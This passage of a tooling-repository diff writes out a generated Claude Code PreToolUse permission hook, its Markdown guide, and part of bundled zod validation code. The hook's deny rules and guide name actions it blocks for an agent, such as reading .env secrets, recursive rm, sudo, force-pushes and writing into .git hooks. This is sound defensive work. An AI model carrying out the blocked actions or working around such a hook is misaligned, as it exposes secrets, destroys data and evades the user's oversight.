\"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n if (isSessionScratch(filePath, ctx)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [\n {\n name: \"session-scratchpad-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"session-scratchpad-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n },\n {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n }\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, {\n cwd: projectDir,\n sessionId: input.session_id\n });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\", decision.advice);\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** -- blocked with a redirect message\n- **Allowed** -- auto-approved, no prompt\n- **Passthrough** -- falls through to Claude Code's normal permission prompt\n\nAn allow may additionally carry a non-blocking advisory -- e.g. creating a feature branch\nin the primary worktree suggests using a `git worktree` instead. It never blocks; the\ntiers above are unchanged.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-discard-changes**: `-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\n- **git-bare-checkout**: Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\n- **git-protected-branch-write**: Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\n- **git-protected-branch-force-create**: Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\n- **git-write**: This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync), bst-agent (the daemon package's bin: every safe bst subcommand, plus agent:repair-candidates and agent:transcript. agent:daemon prompts)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git read-only forms of write verbs**: git-read-only-form (`--help` immediately after any subcommand (not `-h` -- an alias still runs with it); `git tag` listing forms (bare, -l/--list, --points-at, --contains, --merged, --sort, --format); `git clean -n`/`--dry-run` without -f. Writing forms of tag and clean stay denied)\n- **Git safe writes**: git-safe-write (add, `switch <branch>` (existing branch), switch -c/-C (new branch), checkout -b/-B (new branch), stash push/pop/apply/show, mv (docs/*.md only), worktree list/add (remove/prune/move prompt -- they can delete uncommitted work). -C/-B/--force-create onto a protected branch name (main/master/default, or repo-configured) is denied instead of created, since it resets an existing branch rather than merely creating one. switch/checkout otherwise auto-approve only with recognized non-discarding flags: -f/--discard-changes discards uncommitted work and is denied, any other flag prompts)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved -- its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: the per-session scratchpad under the system temp directory\n- **Write/Edit**: the per-session scratchpad under the system temp directory\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv`, `git mv` (file moves outside `docs/*.md`)\n- `git rm` (without `-r`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
7645
+ return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return 